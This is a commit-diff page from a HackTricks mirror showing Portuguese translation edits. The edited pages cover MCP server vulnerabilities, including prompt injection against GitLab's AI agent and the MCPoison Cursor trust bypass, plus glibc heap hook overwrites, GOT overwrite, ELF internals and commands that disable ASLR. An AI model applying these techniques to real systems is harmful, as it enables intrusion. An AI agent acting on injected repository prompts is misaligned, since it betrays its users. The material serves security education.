maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/linux-hardening/privilege-escalation/docker-security/RE

Browse Source
This commit is contained in:
Translator 2025-08-21 15:40:04 +00:00
parent 6f56518b6a
commit 020564d85d
245 changed files with 3520 additions and 2778 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
src/AI/AI-MCP-Servers.md
View File

@ -12,7 +12,7 @@ Uma **aplicação host** (por exemplo, Claude Desktop, Cursor IDE) executa um cl
## Servidor MCP Básico
Usaremos Python e o SDK oficial `mcp` para este exemplo. Primeiro, instale o SDK e o CLI:
Usaremos Python e o SDK oficial `mcp` para este exemplo. Primeiro, instale o SDK e a CLI:
```bash
pip3 install mcp "mcp[cli]"
mcp version # verify installation`
@ -39,7 +39,7 @@ O servidor será iniciado e ouvirá por solicitações MCP (usando entrada/saíd
brew install nodejs uv # You need these tools to make sure the inspector works
mcp dev calculator.py
```
Uma vez conectado, o host (inspector ou um agente de IA como o Cursor) buscará a lista de ferramentas. A descrição da ferramenta `add` (gerada automaticamente a partir da assinatura da função e da docstring) é carregada no contexto do modelo, permitindo que a IA chame `add` sempre que necessário. Por exemplo, se o usuário perguntar *"Qual é 2+3?"*, o modelo pode decidir chamar a ferramenta `add` com os argumentos `2` e `3`, e então retornar o resultado.
Uma vez conectado, o host (inspetor ou um agente de IA como o Cursor) buscará a lista de ferramentas. A descrição da ferramenta `add` (gerada automaticamente a partir da assinatura da função e da docstring) é carregada no contexto do modelo, permitindo que a IA chame `add` sempre que necessário. Por exemplo, se o usuário perguntar *"Qual é 2+3?"*, o modelo pode decidir chamar a ferramenta `add` com os argumentos `2` e `3`, e então retornar o resultado.
Para mais informações sobre Prompt Injection, consulte:
@ -47,7 +47,7 @@ Para mais informações sobre Prompt Injection, consulte:
AI-Prompts.md
{{#endref}}
## Vulnerabilidades do MCP
## Vulnerabilidades MCP
> [!CAUTION]
> Os servidores MCP convidam os usuários a ter um agente de IA ajudando-os em todo tipo de tarefas do dia a dia, como ler e responder e-mails, verificar problemas e pull requests, escrever código, etc. No entanto, isso também significa que o agente de IA tem acesso a dados sensíveis, como e-mails, código-fonte e outras informações privadas. Portanto, qualquer tipo de vulnerabilidade no servidor MCP pode levar a consequências catastróficas, como exfiltração de dados, execução remota de código ou até mesmo comprometimento completo do sistema.
@ -95,12 +95,12 @@ AI-Prompts.md
Além disso, em [**este blog**](https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo) é explicado como foi possível abusar do agente de IA do Gitlab para realizar ações arbitrárias (como modificar código ou vazar código), injetando prompts maliciosos nos dados do repositório (mesmo ofuscando esses prompts de uma maneira que o LLM entenderia, mas o usuário não).
Note que os prompts indiretos maliciosos estariam localizados em um repositório público que o usuário vítima estaria usando, no entanto, como o agente ainda tem acesso aos repositórios do usuário, ele poderá acessá-los.
Note que os prompts indiretos maliciosos estariam localizados em um repositório público que o usuário vítima estaria usando; no entanto, como o agente ainda tem acesso aos repositórios do usuário, ele poderá acessá-los.
### Execução de Código Persistente via Bypass de Confiança do MCP (Cursor IDE – "MCPoison")
Começando no início de 2025, a Check Point Research divulgou que o **Cursor IDE** centrado em IA vinculou a confiança do usuário ao *nome* de uma entrada MCP, mas nunca revalidou seu `command` ou `args` subjacentes.
Esse erro de lógica (CVE-2025-54136, também conhecido como **MCPoison**) permite que qualquer um que possa escrever em um repositório compartilhado transforme um MCP já aprovado e benigno em um comando arbitrário que será executado *toda vez que o projeto for aberto* – sem prompt exibido.
Começando no início de 2025, a Check Point Research divulgou que o **Cursor IDE** centrado em IA vinculava a confiança do usuário ao *nome* de uma entrada MCP, mas nunca revalidava seu `command` ou `args` subjacentes.
Esse erro de lógica (CVE-2025-54136, também conhecido como **MCPoison**) permite que qualquer pessoa que possa escrever em um repositório compartilhado transforme um MCP já aprovado e benigno em um comando arbitrário que será executado *toda vez que o projeto for aberto* – sem prompt exibido.
#### Fluxo de trabalho vulnerável

16
src/AI/AI-llm-architecture/README.md
View File

@ -6,7 +6,8 @@
## Basic Information
Você deve começar lendo este post para alguns conceitos básicos que você deve conhecer:
Você deve começar lendo este post para alguns conceitos básicos que você deve conhecer sobre:
{{#ref}}
0.-basic-llm-concepts.md
@ -15,7 +16,8 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev
## 1. Tokenization
> [!TIP]
> O objetivo desta fase inicial é muito simples: **Dividir a entrada em tokens (ids) de uma maneira que faça sentido**.
> O objetivo desta fase inicial é muito simples: **Dividir a entrada em tokens (ids) de uma forma que faça sentido**.
{{#ref}}
1.-tokenizing.md
@ -26,6 +28,7 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev
> [!TIP]
> O objetivo desta segunda fase é muito simples: **Amostrar os dados de entrada e prepará-los para a fase de treinamento, geralmente separando o conjunto de dados em sentenças de um comprimento específico e gerando também a resposta esperada.**
{{#ref}}
2.-data-sampling.md
{{#endref}}
@ -38,6 +41,7 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev
>
> Além disso, durante a incorporação de tokens **outra camada de incorporações é criada** que representa (neste caso) a **posição absoluta da palavra na sentença de treinamento**. Dessa forma, uma palavra em diferentes posições na sentença terá uma representação diferente (significado).
{{#ref}}
3.-token-embeddings.md
{{#endref}}
@ -45,9 +49,10 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev
## 4. Attention Mechanisms
> [!TIP]
> O objetivo desta quarta fase é muito simples: **Aplicar alguns mecanismos de atenção**. Estas serão muitas **camadas repetidas** que vão **capturar a relação de uma palavra no vocabulário com seus vizinhos na sentença atual sendo usada para treinar o LLM**.\
> O objetivo desta quarta fase é muito simples: **Aplicar alguns mecanismos de atenção**. Estes serão muitas **camadas repetidas** que vão **capturar a relação de uma palavra no vocabulário com seus vizinhos na sentença atual sendo usada para treinar o LLM**.\
> Muitas camadas são usadas para isso, então muitos parâmetros treináveis estarão capturando essa informação.
{{#ref}}
4.-attention-mechanisms.md
{{#endref}}
@ -59,6 +64,7 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev
>
> Esta arquitetura será usada tanto para treinar quanto para prever texto após ter sido treinada.
{{#ref}}
5.-llm-architecture.md
{{#endref}}
@ -68,6 +74,7 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev
> [!TIP]
> O objetivo desta sexta fase é muito simples: **Treinar o modelo do zero**. Para isso, a arquitetura LLM anterior será usada com alguns loops sobre os conjuntos de dados usando as funções de perda e otimizador definidos para treinar todos os parâmetros do modelo.
{{#ref}}
6.-pre-training-and-loading-models.md
{{#endref}}
@ -77,6 +84,7 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev
> [!TIP]
> O uso de **LoRA reduz muito a computação** necessária para **ajustar** modelos já treinados.
{{#ref}}
7.0.-lora-improvements-in-fine-tuning.md
{{#endref}}
@ -86,6 +94,7 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev
> [!TIP]
> O objetivo desta seção é mostrar como ajustar um modelo já pré-treinado para que, em vez de gerar novo texto, o LLM selecione e forneça as **probabilidades do texto dado ser categorizado em cada uma das categorias dadas** (como se um texto é spam ou não).
{{#ref}}
7.1.-fine-tuning-for-classification.md
{{#endref}}
@ -95,6 +104,7 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev
> [!TIP]
> O objetivo desta seção é mostrar como **ajustar um modelo já pré-treinado para seguir instruções** em vez de apenas gerar texto, por exemplo, respondendo a tarefas como um chatbot.
{{#ref}}
7.2.-fine-tuning-to-follow-instructions.md
{{#endref}}

14
src/AI/README.md
View File

@ -6,18 +6,22 @@
O melhor ponto de partida para aprender sobre IA é entender como funcionam os principais algoritmos de aprendizado de máquina. Isso ajudará você a entender como a IA funciona, como usá-la e como atacá-la:
{{#ref}}
./AI-Supervised-Learning-Algorithms.md
{{#endref}}
{{#ref}}
./AI-Unsupervised-Learning-Algorithms.md
{{#endref}}
{{#ref}}
./AI-Reinforcement-Learning-Algorithms.md
{{#endref}}
{{#ref}}
./AI-Deep-Learning.md
{{#endref}}
@ -26,6 +30,7 @@ O melhor ponto de partida para aprender sobre IA é entender como funcionam os p
Na página a seguir, você encontrará o básico de cada componente para construir um LLM básico usando transformers:
{{#ref}}
AI-llm-architecture/README.md
{{#endref}}
@ -36,13 +41,15 @@ AI-llm-architecture/README.md
Neste momento, as principais 2 estruturas para avaliar os riscos dos sistemas de IA são o OWASP ML Top 10 e o Google SAIF:
{{#ref}}
AI-Risk-Frameworks.md
{{#endref}}
### Segurança de Prompts de IA
LLMs fizeram o uso de IA explodir nos últimos anos, mas não são perfeitos e podem ser enganados por prompts adversariais. Este é um tópico muito importante para entender como usar a IA com segurança e como atacá-la:
Os LLMs fizeram o uso de IA explodir nos últimos anos, mas não são perfeitos e podem ser enganados por prompts adversariais. Este é um tópico muito importante para entender como usar a IA de forma segura e como atacá-la:
{{#ref}}
AI-Prompts.md
@ -50,7 +57,8 @@ AI-Prompts.md
### RCE de Modelos de IA
É muito comum que desenvolvedores e empresas executem modelos baixados da Internet, no entanto, apenas carregar um modelo pode ser suficiente para executar código arbitrário no sistema. Este é um tópico muito importante para entender como usar a IA com segurança e como atacá-la:
É muito comum que desenvolvedores e empresas executem modelos baixados da Internet, no entanto, apenas carregar um modelo pode ser suficiente para executar código arbitrário no sistema. Este é um tópico muito importante para entender como usar a IA de forma segura e como atacá-la:
{{#ref}}
AI-Models-RCE.md
@ -60,12 +68,14 @@ AI-Models-RCE.md
MCP (Protocolo de Contexto de Modelos) é um protocolo que permite que clientes de agentes de IA se conectem a ferramentas externas e fontes de dados de forma plug-and-play. Isso possibilita fluxos de trabalho complexos e interações entre modelos de IA e sistemas externos:
{{#ref}}
AI-MCP-Servers.md
{{#endref}}
### Fuzzing Assistido por IA & Descoberta Automatizada de Vulnerabilidades
{{#ref}}
AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md
{{#endref}}

10
src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
View File

@ -6,7 +6,7 @@
Como você pode ver no [site oficial do GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), a variável **`__malloc_hook`** é um ponteiro que aponta para o **endereço de uma função que será chamada** sempre que `malloc()` for chamado **armazenado na seção de dados da biblioteca libc**. Portanto, se esse endereço for sobrescrito com um **One Gadget**, por exemplo, e `malloc` for chamado, o **One Gadget será chamado**.
Para chamar malloc, é possível esperar que o programa o chame ou **chamando `printf("%10000$c")**, que aloca muitos bytes, fazendo com que `libc` chame malloc para alocá-los na heap.
Para chamar malloc, é possível esperar que o programa o chame ou **chamando `printf("%10000$c")`**, que aloca muitos bytes, fazendo com que `libc` chame malloc para alocá-los na heap.
Mais informações sobre One Gadget em:
@ -47,7 +47,7 @@ No ponto de interrupção mencionado no código anterior, o endereço do free ho
Agora, um **ataque de fast bin** é realizado:
- Primeiro de tudo, é descoberto que é possível trabalhar com **chunks de tamanho 200** na localização de **`__free_hook`**:
- Primeiro de tudo, descobre-se que é possível trabalhar com **chunks de tamanho 200** na localização de **`__free_hook`**:
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
@ -59,12 +59,12 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
- Se conseguirmos obter um chunk rápido de tamanho 0x200 nesta localização, será possível sobrescrever um ponteiro de função que será executado.
- Para isso, um novo chunk de tamanho `0xfc` é criado e a função mesclada é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk liberado de tamanho `0xfc*2 = 0x1f8` no fast bin.
- Em seguida, a função de edição é chamada neste chunk para modificar o endereço **`fd`** deste fast bin para apontar para a função **`__free_hook`** anterior.
- Depois, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de tamanho `0x1f8` é criado para obter um chunk do fast bin no **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
- Depois, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk anterior inútil, então outro chunk de tamanho `0x1f8` é criado para obter um chunk do fast bin no **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
- E finalmente, um chunk contendo a string `/bin/sh\x00` é liberado chamando a função de delete, acionando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro.
---
## Envenenamento de Tcache & Safe-Linking (glibc 2.32 – 2.33)
## Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)
glibc 2.32 introduziu **Safe-Linking** – uma verificação de integridade que protege as listas *simples* ligadas usadas por **tcache** e fast-bins. Em vez de armazenar um ponteiro direto (`fd`), ptmalloc agora o armazena *ofuscado* com o seguinte macro:
```c
@ -129,7 +129,7 @@ Se você ainda precisa do comportamento antigo para depuração, o glibc fornece
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
- Safe-Linking – Eliminando um primitivo de exploração malloc() de 20 anos (Check Point Research, 2020)
- Safe-Linking – Eliminando um exploit de malloc() de 20 anos (Check Point Research, 2020)
- Notas de lançamento do glibc 2.34 – remoção dos hooks de malloc
{{#include ../../banners/hacktricks-training.md}}

12
src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
View File

@ -34,11 +34,11 @@ Usando o GEF, você pode **iniciar** uma sessão de **depuração** e executar *
### GOT2Exec
Em um binário, a GOT tem os **endereços para as funções ou** para a **seção PLT** que irá carregar o endereço da função. O objetivo desta escrita arbitrária é **substituir uma entrada da GOT** de uma função que será executada mais tarde **com** o **endereço** da PLT da **função** **`system`**, por exemplo.
Em um binário, a GOT tem os **endereços das funções ou** da **seção PLT** que carregará o endereço da função. O objetivo desta escrita arbitrária é **substituir uma entrada da GOT** de uma função que será executada mais tarde **com** o **endereço** da PLT da **função** **`system`**, por exemplo.
Idealmente, você irá **substituir** a **GOT** de uma **função** que está **prestes a ser chamada com parâmetros controlados por você** (assim você poderá controlar os parâmetros enviados para a função system).
Idealmente, você irá **substituir** a **GOT** de uma **função** que será **chamada com parâmetros controlados por você** (assim você poderá controlar os parâmetros enviados para a função system).
Se **`system`** **não for usado** pelo binário, a função system **não terá** uma entrada na PLT. Nesse cenário, você precisará **vazar primeiro o endereço** da função `system` e então sobrescrever a GOT para apontar para esse endereço.
Se **`system`** **não for usado** pelo binário, a função system **não** terá uma entrada na PLT. Nesse cenário, você **precisará primeiro vazar o endereço** da função `system` e então sobrescrever a GOT para apontar para esse endereço.
Você pode ver os endereços da PLT com **`objdump -j .plt -d ./vuln_binary`**
@ -46,7 +46,7 @@ Você pode ver os endereços da PLT com **`objdump -j .plt -d ./vuln_binary`**
A **GOT da libc** geralmente é compilada com **RELRO parcial**, tornando-a um bom alvo para isso, supondo que seja possível descobrir seu endereço ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
Funções comuns da libc vão chamar **outras funções internas** cujas GOT poderiam ser sobrescritas para obter execução de código.
Funções comuns da libc vão chamar **outras funções internas** cujas GOTs poderiam ser sobrescritas para obter execução de código.
Encontre [**mais informações sobre esta técnica aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
@ -62,13 +62,14 @@ Além disso, se `puts` for usado com entrada do usuário, é possível sobrescre
## **One Gadget**
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
## **Abusando da GOT do Heap**
Uma maneira comum de obter RCE a partir de uma vulnerabilidade de heap é abusar de um fastbin para que seja possível adicionar a parte da tabela GOT no fast bin, assim sempre que esse chunk for alocado será possível **sobrescrever o ponteiro de uma função, geralmente `free`**.\
Uma maneira comum de obter RCE a partir de uma vulnerabilidade de heap é abusar de um fastbin para que seja possível adicionar a parte da tabela GOT no fast bin, de modo que sempre que esse chunk for alocado, será possível **sobrescrever o ponteiro de uma função, geralmente `free`**.\
Então, apontando `free` para `system` e liberando um chunk onde foi escrito `/bin/sh\x00` executará um shell.
É possível encontrar um [**exemplo aqui**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
@ -77,6 +78,7 @@ Então, apontando `free` para `system` e liberando um chunk onde foi escrito `/b
A proteção **Full RELRO** é destinada a proteger contra esse tipo de técnica resolvendo todos os endereços das funções quando o binário é iniciado e tornando a **tabela GOT somente leitura** após isso:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}

14
src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
View File

@ -30,7 +30,7 @@ Existem diferentes maneiras de você acabar controlando o fluxo de um programa:
- [**Format strings**](../format-strings/index.html)**:** Abuse `printf` para escrever conteúdo arbitrário em endereços arbitrários.
- [**Array Indexing**](../array-indexing.md): Abuse de um indexação mal projetada para conseguir controlar alguns arrays e obter uma escrita arbitrária.
- Pode ser necessário abusar de um [**Integer Overflows**](../integer-overflow.md) para causar o overflow.
- **bof to WWW via ROP**: Abuse um buffer overflow para construir um ROP e conseguir um WWW.
- **bof to WWW via ROP**: Abuse de um buffer overflow para construir um ROP e conseguir um WWW.
Você pode encontrar as técnicas de **Write What Where to Execution** em:
@ -42,10 +42,10 @@ Você pode encontrar as técnicas de **Write What Where to Execution** em:
Algo a ser levado em conta é que geralmente **apenas uma exploração de uma vulnerabilidade pode não ser suficiente** para executar um exploit bem-sucedido, especialmente algumas proteções precisam ser contornadas. Portanto, é interessante discutir algumas opções para **tornar uma única vulnerabilidade explorável várias vezes** na mesma execução do binário:
- Escrever em uma cadeia **ROP** o endereço da **função `main`** ou para o endereço onde a **vulnerabilidade** está ocorrendo.
- Escrever em uma cadeia **ROP** o endereço da função **`main`** ou o endereço onde a **vulnerabilidade** está ocorrendo.
- Controlando uma cadeia ROP adequada, você pode ser capaz de realizar todas as ações nessa cadeia.
- Escrever no **endereço `exit` no GOT** (ou qualquer outra função usada pelo binário antes de terminar) o endereço para **voltar à vulnerabilidade**.
- Como explicado em [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** armazene 2 funções aqui, uma para chamar a vulnerabilidade novamente e outra para chamar **`__libc_csu_fini`** que chamará novamente a função de `.fini_array`.
- Escrever no **endereço `exit` no GOT** (ou qualquer outra função usada pelo binário antes de terminar) o endereço para voltar **à vulnerabilidade**.
- Como explicado em [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** armazene 2 funções aqui, uma para chamar a vuln novamente e outra para chamar **`__libc_csu_fini`** que chamará novamente a função de `.fini_array`.
## Objetivos de Exploração
@ -69,10 +69,10 @@ Algo a ser levado em conta é que geralmente **apenas uma exploração de uma vu
#### Via shellcode, se nx desativado ou misturando shellcode com ROP:
- [**(Stack) Shellcode**](#stack-shellcode): Isso é útil para armazenar um shellcode na pilha antes ou depois de sobrescrever o ponteiro de retorno e então **pular para ele** para executá-lo:
- **Em qualquer caso, se houver um** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** em um bof regular você precisará contorná-lo (vazar).
- **Em qualquer caso, se houver um** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** em um bof regular você precisará contorná-lo (leak).
- **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), é possível pular para o endereço da pilha, pois ele nunca mudará.
- **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html), você precisará de técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para pular para ele.
- **Com** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), você precisará usar algum [**ROP**](../rop-return-oriented-programing/index.html) **para chamar `memprotect`** e tornar alguma página `rwx`, para então **armazenar o shellcode lá** (chamando read, por exemplo) e então pular para lá.
- **Com** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), você precisará usar algum [**ROP**](../rop-return-oriented-programing/index.html) **para chamar `memprotect`** e tornar alguma página `rwx`, para então **armazenar o shellcode lá** (chamando read, por exemplo) e depois pular para lá.
- Isso misturará shellcode com uma cadeia ROP.
#### Via syscalls
@ -100,7 +100,7 @@ Algo a ser levado em conta é que geralmente **apenas uma exploração de uma vu
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controle o ESP para controlar RET através do EBP armazenado na pilha.
- Útil para **off-by-one** stack overflows.
- Útil como uma maneira alternativa de acabar controlando o EIP enquanto abusa do EIP para construir o payload na memória e então pulando para ele via EBP.
- Útil como uma maneira alternativa de acabar controlando EIP enquanto abusa de EIP para construir o payload na memória e então pulando para ele via EBP.
#### Diversos

20
src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
View File

@ -54,7 +54,7 @@ Indica o caminho do carregador a ser usado para carregar o binário na memória.
Esses cabeçalhos são usados para indicar **como carregar um binário na memória.**\
Cada cabeçalho **LOAD** indica uma região de **memória** (tamanho, permissões e alinhamento) e indica os bytes do binário ELF **a serem copiados lá**.
Por exemplo, o segundo tem um tamanho de 0x1190, deve estar localizado em 0x1fc48 com permissões de leitura e escrita e será preenchido com 0x528 a partir do deslocamento 0xfc48 (não preenche todo o espaço reservado). Esta memória conterá as seções `.init_array .fini_array .dynamic .got .data .bss`.
Por exemplo, o segundo tem um tamanho de 0x1190, deve estar localizado em 0x1fc48 com permissões de leitura e escrita e será preenchido com 0x528 a partir do deslocamento 0xfc48 (não preenche todo o espaço reservado). Essa memória conterá as seções `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC
@ -82,11 +82,11 @@ Contém a configuração da defesa de prevenção de execução de pilha. Se hab
### GNU_RELRO
Indica a configuração RELRO (Relocation Read-Only) do binário. Esta proteção marcará como somente leitura certas seções da memória (como o `GOT` ou as tabelas `init` e `fini`) após o programa ter sido carregado e antes de começar a execução.
Indica a configuração RELRO (Relocation Read-Only) do binário. Essa proteção marcará como somente leitura certas seções da memória (como o `GOT` ou as tabelas `init` e `fini`) após o programa ter sido carregado e antes de começar a execução.
No exemplo anterior, está copiando 0x3b8 bytes para 0x1fc48 como somente leitura, afetando as seções `.init_array .fini_array .dynamic .got .data .bss`.
Note que RELRO pode ser parcial ou total, a versão parcial não protege a seção **`.plt.got`**, que é usada para **vinculação preguiçosa** e precisa que este espaço de memória tenha **permissões de escrita** para escrever o endereço das bibliotecas na primeira vez que sua localização é pesquisada.
Observe que RELRO pode ser parcial ou total, a versão parcial não protege a seção **`.plt.got`**, que é usada para **vinculação preguiçosa** e precisa desse espaço de memória para ter **permissões de escrita** para escrever o endereço das bibliotecas na primeira vez que sua localização é pesquisada.
> Para técnicas de exploração e notas de bypass atualizadas, verifique a página dedicada:
@ -266,7 +266,7 @@ As entradas `DT_RPATH` (obsoleto) e/ou `DT_RUNPATH` influenciam onde o carregado
- Inspecione com: `readelf -d ./bin | egrep -i 'r(path|unpath)'`
- Teste rápido: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (mostra decisões de caminho de busca)
> Dica de privilégio: Prefira abusar de RUNPATHs graváveis ou caminhos relativos a `$ORIGIN` mal configurados que você possui. LD_PRELOAD/LD_AUDIT são ignorados em contextos de execução segura (setuid).
> Dica de priv-esc: Prefira abusar de RUNPATHs graváveis ou caminhos relativos a `$ORIGIN` mal configurados que você possui. LD_PRELOAD/LD_AUDIT são ignorados em contextos de execução segura (setuid).
## Relocações
@ -356,19 +356,19 @@ A relocação também pode referenciar um símbolo externo (como uma função de
A seção PLT permite realizar vinculação preguiçosa, o que significa que a resolução da localização de uma função será realizada na primeira vez que for acessada.
Assim, quando um programa chama malloc, na verdade chama a localização correspondente de `malloc` no PLT (`malloc@plt`). Na primeira vez que é chamada, resolve o endereço de `malloc` e o armazena, para que na próxima vez que `malloc` for chamado, esse endereço seja usado em vez do código PLT.
Assim, quando um programa chama malloc, na verdade chama a localização correspondente de `malloc` no PLT (`malloc@plt`). Na primeira vez que é chamado, resolve o endereço de `malloc` e o armazena, para que na próxima vez que `malloc` seja chamado, esse endereço seja usado em vez do código PLT.
#### Comportamentos modernos de vinculação que impactam a exploração
- `-z now` (Full RELRO) desabilita a vinculação preguiçosa; as entradas PLT ainda existem, mas GOT/PLT é mapeado como somente leitura, então técnicas como **sobrescrita de GOT** e **ret2dlresolve** não funcionarão contra o binário principal (as bibliotecas ainda podem ser parcialmente RELRO). Veja:
- `-z now` (Full RELRO) desabilita a vinculação preguiçosa; as entradas PLT ainda existem, mas GOT/PLT é mapeado como somente leitura, então técnicas como **GOT overwrite** e **ret2dlresolve** não funcionarão contra o binário principal (as bibliotecas ainda podem ser parcialmente RELRO). Veja:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
- `-fno-plt` faz com que o compilador chame funções externas através da **entrada GOT diretamente** em vez de passar pelo stub PLT. Você verá sequências de chamadas como `mov reg, [got]; call reg` em vez de `call func@plt`. Isso reduz o abuso de execução especulativa e altera ligeiramente a busca por gadgets ROP em torno dos stubs PLT.
- -fno-plt faz com que o compilador chame funções externas através da **entrada GOT diretamente** em vez de passar pelo stub PLT. Você verá sequências de chamadas como mov reg, [got]; call reg em vez de call func@plt. Isso reduz o abuso de execução especulativa e altera ligeiramente a busca por gadgets ROP em torno dos stubs PLT.
- PIE vs static-PIE: PIE (ET_DYN com `INTERP`) precisa do carregador dinâmico e suporta a maquinaria usual PLT/GOT. Static-PIE (ET_DYN sem `INTERP`) tem relocações aplicadas pelo carregador do kernel e sem `ld.so`; espere nenhuma resolução PLT em tempo de execução.
- PIE vs static-PIE: PIE (ET_DYN com INTERP) precisa do carregador dinâmico e suporta a maquinaria usual PLT/GOT. Static-PIE (ET_DYN sem INTERP) tem relocações aplicadas pelo carregador do kernel e sem ld.so; espere nenhuma resolução PLT em tempo de execução.
> Se GOT/PLT não for uma opção, pivote para outros ponteiros de código graváveis ou use ROP/SROP clássico em libc.
@ -416,7 +416,7 @@ Além disso, também é possível ter um **`PREINIT_ARRAY`** com **ponteiros** q
- Sob Partial RELRO, esses arrays vivem em páginas que ainda são graváveis antes que `ld.so` mude `PT_GNU_RELRO` para somente leitura. Se você conseguir uma gravação arbitrária cedo o suficiente ou se puder direcionar os arrays graváveis de uma biblioteca, você pode sequestrar o fluxo de controle sobrescrevendo uma entrada com uma função de sua escolha. Sob Full RELRO, eles são somente leitura em tempo de execução.
- Para abuso de ligação preguiçosa do vinculador dinâmico para resolver símbolos arbitrários em tempo de execução, veja a página dedicada:
- Para abuso de vinculação preguiçosa do vinculador dinâmico para resolver símbolos arbitrários em tempo de execução, veja a página dedicada:
{{#ref}}
../rop-return-oriented-programing/ret2dlresolve.md
@ -425,7 +425,7 @@ Além disso, também é possível ter um **`PREINIT_ARRAY`** com **ponteiros** q
### Ordem de Inicialização
1. O programa é carregado na memória, variáveis globais estáticas são inicializadas em **`.data`** e as não inicializadas são zeradas em **`.bss`**.
2. Todas as **dependências** para o programa ou bibliotecas são **inicializadas** e a **ligação dinâmica** é executada.
2. Todas as **dependências** para o programa ou bibliotecas são **inicializadas** e a **vinculação dinâmica** é executada.
3. Funções **`PREINIT_ARRAY`** são executadas.
4. Funções **`INIT_ARRAY`** são executadas.
5. Se houver uma entrada **`INIT`**, ela é chamada.

26
src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
View File

@ -18,9 +18,9 @@ Você pode verificar o status do ASLR com o seguinte comando:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Desativando ASLR**
### **Desabilitando ASLR**
Para **desativar** ASLR, você define o valor de `/proc/sys/kernel/randomize_va_space` como **0**. Desativar ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Aqui está como você pode desativá-lo:
Para **desabilitar** ASLR, você define o valor de `/proc/sys/kernel/randomize_va_space` como **0**. Desabilitar ASLR geralmente não é recomendado fora de cenários de teste ou depuração. Aqui está como você pode desabilitá-lo:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
@ -35,7 +35,7 @@ Para **habilitar** ASLR, você pode escrever um valor de **2** no arquivo `/proc
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Persistência Entre Reinicializações**
### **Persistência Através de Reinicializações**
As alterações feitas com os comandos `echo` são temporárias e serão redefinidas após a reinicialização. Para tornar a alteração persistente, você precisa editar o arquivo `/etc/sysctl.conf` e adicionar ou modificar a seguinte linha:
```tsconfig
@ -53,11 +53,11 @@ Isso garantirá que suas configurações de ASLR permaneçam entre reinicializa
### Força bruta de 32 bits
PaX divide o espaço de endereçamento do processo em **3 grupos**:
PaX divide o espaço de endereços do processo em **3 grupos**:
- **Código e dados** (inicializados e não inicializados): `.text`, `.data` e `.bss` —> **16 bits** de entropia na variável `delta_exec`. Esta variável é inicializada aleatoriamente com cada processo e adicionada aos endereços iniciais.
- **Memória** alocada por `mmap()` e **bibliotecas compartilhadas** —> **16 bits**, chamada `delta_mmap`.
- **A pilha** —> **24 bits**, referida como `delta_stack`. No entanto, ela efetivamente usa **11 bits** (do 10º ao 20º byte, inclusive), alinhados a **16 bytes** —> Isso resulta em **524.288 endereços de pilha reais possíveis**.
